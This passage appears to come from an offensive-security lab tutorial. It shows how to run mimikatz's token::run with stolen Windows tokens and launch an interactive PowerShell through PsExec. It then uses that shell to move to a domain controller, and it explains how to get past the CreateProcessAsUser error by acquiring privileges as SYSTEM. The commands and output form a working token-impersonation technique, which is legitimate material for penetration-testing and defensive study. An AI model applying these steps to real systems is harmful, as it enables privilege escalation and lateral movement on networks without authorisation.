It's not possible to directly start a new interactive PowerShell process, because the user input of a new process is somehow not handled correctly. However, when PowerShell is started via PsExec, it can be interactively used:
mimikatz # token::run /id:77132228 /process:"C:\tools\PsExec64.exe -accepteula -i powershell.exe"
Token Id : 77132228
User name :
SID name :

PsExec v2.4 - Execute processes remotely

A new PowerShell window is then opened wich can be used interactively:
PS C:\Windows\system32> whoami
winattacklab\ffast
S C:\Windows\system32> Enter-PSSession DC1
[DC1]: PS C:\Users\ffast\Documents> hostname

Demystifying the kull_m_process_run_data Error
Even as a local administrator, you can get the kull_m_process_run_data error:
mimikatz # token::run /id:1075487 /process:whoami.exe
Token Id : 1075487
User name :
SID name :
7156 {0;000f0ac5} 3 F 1075487 winattacklab\ffast S-1-5-21-1345929560-157546789-2569868433-1123 (15g,24p) Primary
ERROR kull_m_process_run_data ; CreateProcessAsUser (0x00000522)
The error message says that the CreateProcessAsUser function could not be executed.
SeIncreaseQuotaPrivilege privilege
SeAssignPrimaryTokenPrivilege privilege (if the token is not assignable)
A local admin has the permission to get the SeIncreaseQuotaPrivilege privilege but not the SeAssignPrimaryTokenPrivilege privilege:
If you start mimikatz as SYSTEM, these privileges can be acquired:
mimikatz # privilege::name SeIncreaseQuotaPrivilege
Privilege '5' OK
mimikatz # privilege::name SeAssignPrimaryTokenPrivilege
Privilege '3' OK
Then, it's possible to use the token::run command and use stolen tokens as primary tokens.
The token::run command uses the function CreateProceasAsUser to create a new process in the security context of the specified token and requires the following privileges (source: ):
